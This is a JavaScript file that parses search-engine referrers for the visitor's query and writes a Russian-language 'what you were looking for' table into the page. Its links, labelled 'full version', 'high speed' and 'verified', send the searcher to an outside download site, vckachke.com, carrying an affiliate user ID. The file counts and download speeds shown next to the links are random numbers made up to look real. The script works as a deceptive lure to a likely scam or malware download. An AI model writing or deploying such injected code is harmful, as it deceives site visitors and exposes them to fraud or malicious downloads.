Kw={};

Kw.search_engines = [
    ['google\.', 'q'],                             // Google
    ['search\.yahoo\.', 'p'],                     // Yahoo
    ['search\.msn\.', 'q'],                       // MSN
    ['search\.live\.', 'query'],                  // MSN Live
    ['search\.aol\.', 'userQuery'],               // AOL
    ['ask\.com', 'q'],                             // Ask.com
    ['altavista\.', 'q'],                          // AltaVista
    ['feedster\.', 'q'],                           // Feedster
    ['search\.lycos\.', 'q'],                     // Lycos
    ['alltheweb\.', 'q'],                          // AllTheWeb
    ['yandex\.', 'text'],                          // Yandex
    ['(nova\.|search\.)?rambler\.', 'query'],                          // Rambler
    ['gogo\.', 'q'],                          // Gogo
    ['go\.mail\.', 'q']                          // Mail.ru
         
];

Kw.decodeReferrer = function(referrer) {
    var query = null;
    var regex = new RegExp('');

    for (var i = 0; i < Kw.search_engines.length; i ++) {
        var se = Kw.search_engines[i];
        regex.compile('^http://(www\.)?' + se[0], 'i');
        var match = referrer.match(regex);
        if (match) {
            var result;            
            if (isNaN(se[1])) {
                result = Kw.decodeReferrerQS(referrer, se[1]);
            } else {                
                result = match[se[1] + 1];
            }
            if (result) {
                result = decodeURIComponent(result);
                if (se.length > 2 && se[2])
                    result = decodeURIComponent(result);
                result = result.replace(/'|"/g, '');
                result = result.split(/[s,+.]+/);
                return result;
            }
            break;
        }
    }
    return null;
};

Kw.decodeReferrerQS = function(referrer, match) {
    var idx = referrer.indexOf('?');
    var idx2;
    if (idx >= 0) {
        var qs = new String(referrer.substring(idx + 1));
        idx  = 0;
        idx2 = 0;
        while ((idx >= 0) && ((idx2 = qs.indexOf('=', idx)) >= 0)) {
            var key, val;
            key = qs.substring(idx, idx2);
            idx = qs.indexOf('&', idx2) + 1;
            if (key == match) {
                if (idx <= 0) {
                    return qs.substring(idx2+1);
                } else {
                    return qs.substring(idx2+1, idx - 1);
                }
            }
        }
    }
    return null;
};

Kw.Kw = function() {
    var q = Kw.debug_referrer ? Kw.debug_referrer : document.referrer;
    var e = null;
    q = Kw.decodeReferrer(q);

    if (q)
    {
       var d_url='http://vckachke.com/download.php?user_id=5310&q='+encodeURIComponent(q.join(" "));
       var d_q=q.join(" ");
       
       document.write('<table width="700px" style="border:1px solid black;background-color:#e6eeff;font-size:20px">\
<thead>\
<th>То, что вы искали!</th>\
</thead>\
<tbody>\
<tr>\
<td><a href="'+d_url+'" target="_blank"><b>'+d_q+'</b> [полная версия]</a></td>\
<td>'+(Math.round(Math.random()*2000+1000))+' файлов на '+(Math.round(Math.random()*5000+1000))+' кб/сек</td>\
</tr>\
<tr>\
<td><a href="'+d_url+'" target="_blank"><b>'+d_q+'</b> - полная версия</a></td>\
<td>'+(Math.round(Math.random()*2000+1000))+' файлов н '+(Math.round(Math.random()*5000+1000))+' кб/сек</td>\
</tr>\
<tr>\
<td><a href="'+d_url+'" target="_blank">[ВЫСОКАЯ СКОРОСТЬ] <b>'+d_q+'</b></a></td>\
<td>'+(Math.round(Math.random()*2000+1000))+' файлов на '+(Math.round(Math.random()*5000+1000))+' кб/сек</td>\
</tr>\
<tr>\
<td><a href="'+d_url+'" target="_blank">[ПРОВЕРЕНО] <b>'+d_q+'</b></a></td>\
<td>'+(Math.round(Math.random()*2000+1000))+' файлов на '+(Math.round(Math.random()*5000+1000))+' кб/сек</td>\
</tr>\
</tbody>\
</table>');
     }
	};
